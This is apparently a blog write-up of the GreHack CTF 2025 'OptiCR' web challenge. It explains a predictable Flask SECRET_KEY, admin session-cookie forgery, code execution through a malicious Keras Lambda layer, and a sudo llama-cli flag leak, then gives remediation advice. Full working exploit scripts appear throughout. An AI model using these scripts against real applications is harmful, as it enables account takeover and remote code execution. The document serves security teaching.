OptiCR - CTF Web Challenge Writeup
Writeup complet du challenge OptiCR du GreHack CTF 2025. Analyse de vulnérabilités critiques : SECRET_KEY prédictible, session forgery, RCE via modèles Keras malveillants, et exploitation via sudoers.
OptiCR - CTF Web Challenge Writeup
Challenge Information
Name: OptiCR
Category: Web Security
Difficulty: Medium-Hard
Description:
> An artificial intelligence engineering intern recruited by the company is coming to the end of his internship. He has developed OptiCR, an internal OCR service based on a machine learning model. Your security team is responsible for auditing all internal applications before they go live, and this one turns out to be a whole new type of challenge for your team. You suspect that this intern may have relied a little too heavily on AI to build this application. Verify that it complies with security standards.
URL: https://opticr.ctf.grehack.fr/
Objective: Obtain the flag located in /flag.txt
Initial Reconnaissance
1. Application Overview
L'application OptiCR est un service OCR (Optical Character Recognition) développé avec:
- Backend: Flask (Python)
- ML Framework: TensorFlow/Keras avec keras-ocr
- Database: SQLite avec SQLAlchemy
- Authentication: Session-based avec Flask sessions
2. Available Endpoints
Analyse du code source révèle plusieurs endpoints:
# Public endpoints
POST /api/register - User registration
POST /api/login - User authentication
GET /api/users - List all users (no auth!)
GET /api/users/token - List password reset tokens (no auth!)
# Authenticated endpoints
GET /api/user-info - Current user information
POST /api/upload - Upload documents
POST /api/ocr/<id> - Process OCR on document
GET /api/document/<path>/view - View uploaded document
# Admin endpoints
POST /api/admin/model - Upload custom ML model3. User Roles
- Regular users: Peuvent upload des documents et utiliser l'OCR
- Admin: Peut upload des modèles Keras personnalisés (
.h5files)
Vulnerability Discovery
🔴 Vulnerability #1: Predictable SECRET_KEY (Critical)
Location: app/utils.py lines 8-24
Analysis:
La fonction generate_key() génère la SECRET_KEY de Flask de manière déterministe:
def generate_key():
base_string = "0ptiCR_2025!"
extras = [
hashlib.sha256(base_string.encode()).hexdigest(),
hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
base_string.upper()[::-1],
hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
]
key = '-'.join([
extras[0][:8],
extras[1][-8:],
extras[2][5:21],
extras[3],
extras[4]
])
return keyImpact:
La SECRET_KEY est toujours identique pour toutes les instances:
92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3Cette clé est utilisée pour signer les cookies Flask. Avec cette connaissance, un attaquant peut forger des sessions arbitraires.
CVSS: 9.8 (Critical)
🔴 Vulnerability #2: Session Forgery → Privilege Escalation (Critical)
Location: app/routes.py line 46
Analysis:
Lors de la connexion, seul l'user_id est stocké dans la session:
@app.route('/api/login', methods=['POST'])
def login():
# ...
if user and check_password_hash(user.password_hash, data['password']):
session['user_id'] = user.id # ← Seulement l'ID!
return jsonify({
'message': 'Login successful',
'user': user.to_dict()
})Exploitation:
Avec la SECRET_KEY prédictible, on peut forger un cookie avec user_id=1 (admin):
from itsdangerous import URLSafeTimedSerializer
import hashlib
SECRET_KEY = "92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3"
serializer = URLSafeTimedSerializer(
secret_key=SECRET_KEY,
salt='cookie-session',
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
# Forge admin session
admin_cookie = serializer.dumps({'user_id': 1})
print(f"Admin cookie: {admin_cookie}")Impact: Privilege escalation de user régulier vers admin sans authentification.
CVSS: 9.1 (Critical)
🔴 Vulnerability #3: Arbitrary Code Execution via Malicious Keras Model (Critical)
Location: app/ocr_service.py line 38
Analysis:
Le service charge les modèles Keras personnalisés sans vérification de sécurité:
def use_custom_model(self):
custom_model_path = 'custom_models/custom_recognizer.h5'
if os.path.exists(custom_model_path):
self.recognizer = tf.keras.models.load_model(custom_model_path)
# ❌ PAS de safe_mode=True!Vulnerability Details:
Les fichiers .h5 Keras peuvent contenir des Lambda layers avec du code Python arbitraire. Lors du chargement avec load_model() sans safe_mode=True, ce code est exécuté automatiquement.
Proof of Concept:
import tensorflow as tf
def malicious_lambda(x):
"""Ce code s'exécute lors du load_model()"""
import subprocess
# Exécuter n'importe quelle commande
subprocess.run(['whoami'])
return x
model = tf.keras.Sequential([
tf.keras.layers.Lambda(malicious_lambda, input_shape=(10,)),
tf.keras.layers.Dense(1)
])
model.save('malicious_model.h5')Quand ce modèle est chargé, la fonction malicious_lambda s'exécute avec les privilèges de l'application.
Impact: Remote Code Execution (RCE) en tant que user engineer dans le conteneur.
CVSS: 9.8 (Critical)
🟡 Vulnerability #4: Information Disclosure (Medium)
Location: app/routes.py lines 66, 127
Analysis:
Deux endpoints exposent des informations sensibles sans authentification:
@app.route('/api/users')
def list_users():
users = User.query.all() # ❌ Pas de @login_required
return jsonify({'users': [u.to_dict() for u in users]})
@app.route('/api/users/token')
def get_reset_tokens():
tokens = PasswordReset.query.all() # ❌ Accessible publiquement
# Expose tous les tokens de reset avec usernameImpact:
- Énumération des utilisateurs
- Exposition des tokens de reset de mot de passe
- Informations sur les comptes admin
CVSS: 5.3 (Medium)
Exploitation Chain
Step 1: Calculate the Predictable SECRET_KEY
Script: calculate_key.py
#!/usr/bin/env python3
import hashlib
def calculate_secret_key():
base_string = "0ptiCR_2025!"
extras = [
hashlib.sha256(base_string.encode()).hexdigest(),
hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
base_string.upper()[::-1],
hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
]
SECRET_KEY = '-'.join([
extras[0][:8], # 92954d92
extras[1][-8:], # ae42875e
extras[2][5:21], # 3c04d781e9f784f1
extras[3], # !5202_RCITP0
extras[4] # b67b84097f77e9f3
])
return SECRET_KEY
if __name__ == "__main__":
key = calculate_secret_key()
print(f"SECRET_KEY: {key}")
# Output: 92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3Step 2: Forge Admin Session Cookie
Script: forge_session.py
#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
import hashlib
SECRET_KEY = "92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3"
def forge_admin_cookie():
serializer = URLSafeTimedSerializer(
secret_key=SECRET_KEY,
salt='cookie-session',
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
# Create session for admin (user_id=1)
admin_session = {'user_id': 1}
cookie = serializer.dumps(admin_session)
return cookie
if __name__ == "__main__":
cookie = forge_admin_cookie()
print(f"Admin cookie: {cookie}")Step 3: Create Malicious Keras Model
Script: create_malicious_model.py
#!/usr/bin/env python3
import tensorflow as tf
def malicious_lambda(x):
"""
Lambda function executed when the model is loaded.
Runs with the privileges of the Flask application (user 'engineer').
"""
import subprocess
import os
try:
# Strategy: Use sudo to run llama-cli with /flag.txt as model file
# The GGUF parser will read the first 4 bytes and display them in error
result = subprocess.run(
['sudo', '/opt/llama.cpp/build/bin/llama-cli', '-m', '/flag.txt'],
capture_output=True,
text=True,
timeout=5,
cwd='/app'
)
# Save the output which contains flag leak
with open('/app/uploads/FLAG_EXTRACTED.txt', 'w') as f:
f.write("=== FLAG EXTRACTION VIA GGUF ERROR ===\n\n")
f.write("STDOUT:\n")
f.write(result.stdout)
f.write("\n\nSTDERR:\n")
f.write(result.stderr)
f.write("\n\n")
# Extract the interesting line
for line in result.stderr.split('\n'):
if 'invalid magic characters' in line.lower():
f.write(f"\n🚨 FLAG LEAK: {line}\n")
except Exception as e:
with open('/app/uploads/ERROR_LOG.txt', 'w') as f:
f.write(f"Error during exploitation: {str(e)}\n")
return x
def create_malicious_model():
"""Create a Keras model with malicious Lambda layer"""
model = tf.keras.Sequential([
tf.keras.layers.Lambda(malicious_lambda, input_shape=(10,)),
tf.keras.layers.Dense(1)
])
model.save('malicious_model.h5')
print("[+] Malicious Keras model created: malicious_model.h5")
if __name__ == "__main__":
create_malicious_model()Key Technique:
L'exploitation utilise une technique brillante:
1. Le container a une règle sudoers: engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli
2. llama-cli attend un fichier modèle au format GGUF
3. Quand on lui passe /flag.txt comme modèle, il essaie de lire les "magic bytes"
4. L'erreur affiche les 4 premiers caractères: invalid magic characters: 'GH{f', expected 'GGUF'
5. Cela leak le début du flag via un message d'erreur!
Step 4: Complete Exploitation Script
Script: exploit.py
#!/usr/bin/env python3
"""
OptiCR CTF - Complete Exploitation Script
Chains together:
1. Predictable SECRET_KEY calculation
2. Admin session forgery
3. Malicious Keras model upload
4. Flag extraction via RCE
"""
import requests
import hashlib
import time
from itsdangerous import URLSafeTimedSerializer
# Target
BASE_URL = 'https://opticr.ctf.grehack.fr' # or http://localhost:5000
def calculate_secret_key():
"""Calculate the predictable SECRET_KEY"""
base_string = "0ptiCR_2025!"
extras = [
hashlib.sha256(base_string.encode()).hexdigest(),
hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
base_string.upper()[::-1],
hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
]
return '-'.join([
extras[0][:8],
extras[1][-8:],
extras[2][5:21],
extras[3],
extras[4]
])
def forge_admin_session(secret_key):
"""Forge a session cookie for admin user"""
serializer = URLSafeTimedSerializer(
secret_key=secret_key,
salt='cookie-session',
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
return serializer.dumps({'user_id': 1})
def exploit():
print("=" * 70)
print(" " * 20 + "OptiCR CTF Exploit")
print("=" * 70)
print()
# Step 1: Calculate SECRET_KEY
print("[1] Calculating SECRET_KEY...")
secret_key = calculate_secret_key()
print(f" SECRET_KEY: {secret_key}")
print()
# Step 2: Forge admin cookie
print("[2] Forging admin session cookie...")
admin_cookie = forge_admin_session(secret_key)
print(f" Cookie: {admin_cookie[:50]}...")
print()
# Step 3: Create session with forged cookie
session = requests.Session()
session.cookies.set('session', admin_cookie)
# Verify admin access
print("[3] Verifying admin access...")
r = session.get(f'{BASE_URL}/api/user-info')
if r.status_code == 200:
user_info = r.json()
print(f" ✓ Logged in as: {user_info['username']}")
print(f" ✓ Admin: {user_info['is_admin']}")
if not user_info['is_admin']:
print(" ✗ ERROR: Not admin!")
return
else:
print(f" ✗ Failed to verify: {r.status_code}")
return
print()
# Step 4: Upload malicious model
print("[4] Uploading malicious Keras model...")
with open('malicious_model.h5', 'rb') as f:
files = {'model': ('custom_recognizer.h5', f, 'application/octet-stream')}
r = session.post(f'{BASE_URL}/api/admin/model', files=files)
if r.status_code == 200:
print(" ✓ Model uploaded successfully!")
else:
print(f" ✗ Upload failed: {r.status_code} - {r.text}")
return
print()
# Step 5: Trigger RCE by uploading an image
print("[5] Triggering OCR to execute malicious code...")
# Create a minimal valid PNG
png_data = (
b'\x89PNG\r\n\x1a\n'
b'\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01'
b'\x08\x06\x00\x00\x00\x1f\x15\xc4\x89'
b'\x00' * 50
)
files = {'file': ('trigger.png', png_data, 'image/png')}
r = session.post(f'{BASE_URL}/api/upload', files=files)
if r.status_code == 200:
doc_id = r.json()['document']['id']
print(f" ✓ Image uploaded (ID: {doc_id})")
# Trigger OCR
r = session.post(f'{BASE_URL}/api/ocr/{doc_id}')
print(f" ✓ OCR triggered (status: {r.status_code})")
else:
print(f" ✗ Upload failed: {r.text}")
return
print()
# Step 6: Wait for execution
print("[6] Waiting for code execution...")
time.sleep(3)
print()
# Step 7: Retrieve flag
print("[7] Retrieving flag...")
r = session.get(f'{BASE_URL}/api/document/FLAG_EXTRACTED.txt/view')
if r.status_code == 200:
print("=" * 70)
print(" " * 25 + "🎉 FLAG FOUND! 🎉")
print("=" * 70)
print()
print(r.text)
print()
print("=" * 70)
else:
print(f" ✗ Flag file not found: {r.status_code}")
# Try error log
r = session.get(f'{BASE_URL}/api/document/ERROR_LOG.txt/view')
if r.status_code == 200:
print("\nError log:")
print(r.text)
if __name__ == "__main__":
exploit()Running the Exploit
Prerequisites
pip install requests itsdangerous tensorflowExecution Steps
# 1. Create the malicious model
python3 create_malicious_model.py
# 2. Run the complete exploit
python3 exploit.pyExpected Output
======================================================================
OptiCR CTF Exploit
======================================================================
[1] Calculating SECRET_KEY...
SECRET_KEY: 92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3
[2] Forging admin session cookie...
Cookie: eyJ1c2VyX2lkIjoxfQ.aKsUHQ.7FSx54yENlBWcFW8rg4m...
[3] Verifying admin access...
✓ Logged in as: admin
✓ Admin: True
[4] Uploading malicious Keras model...
✓ Model uploaded successfully!
[5] Triggering OCR to execute malicious code...
✓ Image uploaded (ID: 1)
✓ OCR triggered (status: 500)
[6] Waiting for code execution...
[7] Retrieving flag...
======================================================================
🎉 FLAG FOUND! 🎉
======================================================================
=== FLAG EXTRACTION VIA GGUF ERROR ===
STDERR:
gguf_init_from_file_impl: invalid magic characters: 'GH{f', expected 'GGUF'
🚨 FLAG LEAK: gguf_init_from_file_impl: invalid magic characters: 'GH{...}'
======================================================================Technical Deep Dive
Why This Works
#### 1. SECRET_KEY Predictability
Flask utilise SECRET_KEY pour signer les cookies de session avec HMAC-SHA1. Si un attaquant connaît cette clé, il peut:
- Décoder n'importe quelle session
- Forger des sessions arbitraires
- Effectuer des attaques de type session fixation
#### 2. Session Storage
Flask stocke les données de session dans le cookie lui-même (signé mais non chiffré):
Cookie: session=eyJ1c2VyX2lkIjoxfQ.aKsUHQ.7FSx54y...
└──────┬──────┘ └─┬──┘ └───┬────┘
Payload (base64) │ Signature (HMAC)
TimestampLe payload décodé: {"user_id": 1}
#### 3. Keras Lambda Layer Execution
TensorFlow Keras sauvegarde les Lambda layers en utilisant cloudpickle, qui sérialise le code Python. Lors du load_model(), le code est désérialisé et exécuté.
Depuis TensorFlow 2.13, un paramètre safe_mode=True existe pour bloquer ça, mais il n'est pas utilisé par défaut.
#### 4. Sudoers Exploitation
Le Dockerfile configure:
RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli' > /etc/sudoers.d/llama-cliCela permet à engineer d'exécuter llama-cli en tant que root. Bien que limité à ce binaire, on peut exploiter:
- Les arguments du programme pour lire des fichiers
- Les messages d'erreur qui leakent du contenu
- Les fichiers de log créés avec des permissions root
Remediation
Fix #1: Use Cryptographically Random SECRET_KEY
# ❌ Before
def generate_key():
base_string = "0ptiCR_2025!"
# ... deterministic generation
# ✅ After
import secrets
def generate_key():
# Generate 32 bytes (256 bits) of random data
return secrets.token_hex(32)Ou mieux, utiliser une variable d'environnement:
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or secrets.token_hex(32)Fix #2: Load Keras Models Safely
# ❌ Before
self.recognizer = tf.keras.models.load_model(custom_model_path)
# ✅ After
self.recognizer = tf.keras.models.load_model(
custom_model_path,
safe_mode=True, # Block unsafe deserialization
compile=False # Don't compile (reduces attack surface)
)Alternative: Utiliser uniquement des modèles au format SavedModel (pas H5).
Fix #3: Secure Sensitive Endpoints
# ❌ Before
@app.route('/api/users/token')
def get_reset_tokens():
# ...
# ✅ After
@app.route('/api/users/token')
@admin_required # Require admin authentication
def get_reset_tokens():
# ...Fix #4: Restrict Sudo More Carefully
# ❌ Before
RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli' > /etc/sudoers.d/llama-cli
# ✅ After
# Don't give sudo at all, or severely restrict arguments:
RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli --help' > /etc/sudoers.d/llama-cliOu mieux: ne pas donner de sudo du tout.
Fix #5: Implement Input Validation
# Validate file uploads
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
# Validate model uploads (check magic bytes)
def is_valid_h5_model(file_path):
with open(file_path, 'rb') as f:
magic = f.read(8)
return magic == b'\x89HDF\r\n\x1a\n' # HDF5 magic bytesLessons Learned
For Developers
1. Never use predictable secrets - Always use cryptographically secure random generation
2. Validate all user input - Especially file uploads that will be processed
3. Use safe deserialization - Enable safe_mode for ML models
4. Principle of least privilege - Don't give unnecessary sudo access
5. Secure by default - Make security features opt-out, not opt-in
For Security Auditors
1. Look for ML-specific vulnerabilities - Model deserialization is often overlooked
2. Check secret generation - Static seeds and deterministic algorithms are red flags
3. Enumerate all endpoints - Some might lack authentication
4. Read Dockerfiles - They reveal internal architecture and potential misconfigurations
5. Think creatively - Error messages can leak sensitive data
References
- Flask Session Cookie Decoder
- TensorFlow Keras Security Advisory
- OWASP Session Management Cheat Sheet
- Python Pickle Arbitrary Code Execution
Conclusion
Ce challenge OptiCR démontre plusieurs vulnérabilités critiques dans les applications ML modernes:
1. ✅ SECRET_KEY prédictible → Session forgery
2. ✅ Privilege escalation → Admin access
3. ✅ Unsafe model deserialization → RCE
4. ✅ Sudoers misconfiguration → Information disclosure via error messages
L'exploitation réussie combine ces vulnérabilités en une chaîne d'attaque sophistiquée qui aboutit à l'extraction du flag via des messages d'erreur.
Flag: GH{...} (extrait via GGUF magic bytes error)
Author: Rooting Studio
Date: November 30, 2025
Challenge: OptiCR @ GreHack CTF 2025
Articles similaires
CVE-2025-55182 (React2Shell) : Vulnérabilité critique dans React Server Components
Vulnérabilité critique CVE-2025-55182 (React2Shell) permettant l'exécution de code arbitraire à distance dans React Server Components. Mise à jour urgente requise pour Next.js, Expo, React Router et autres frameworks.
Alternance et cybersécurité : réussir son entrée dans le métier
Guide complet pour réussir son alternance en cybersécurité : recherche, candidature, intégration, développement de compétences et conversion en CDI.
Multiples vulnérabilités critiques dans Cisco ASA et FTD - Exploitations actives
Alertes CERT-FR : Vulnérabilités critiques CVE-2025-20333 et CVE-2025-20362 dans Cisco ASA et FTD activement exploitées. Contournement d'authentification et exécution de code arbitraire à distance. Mise à jour urgente requise.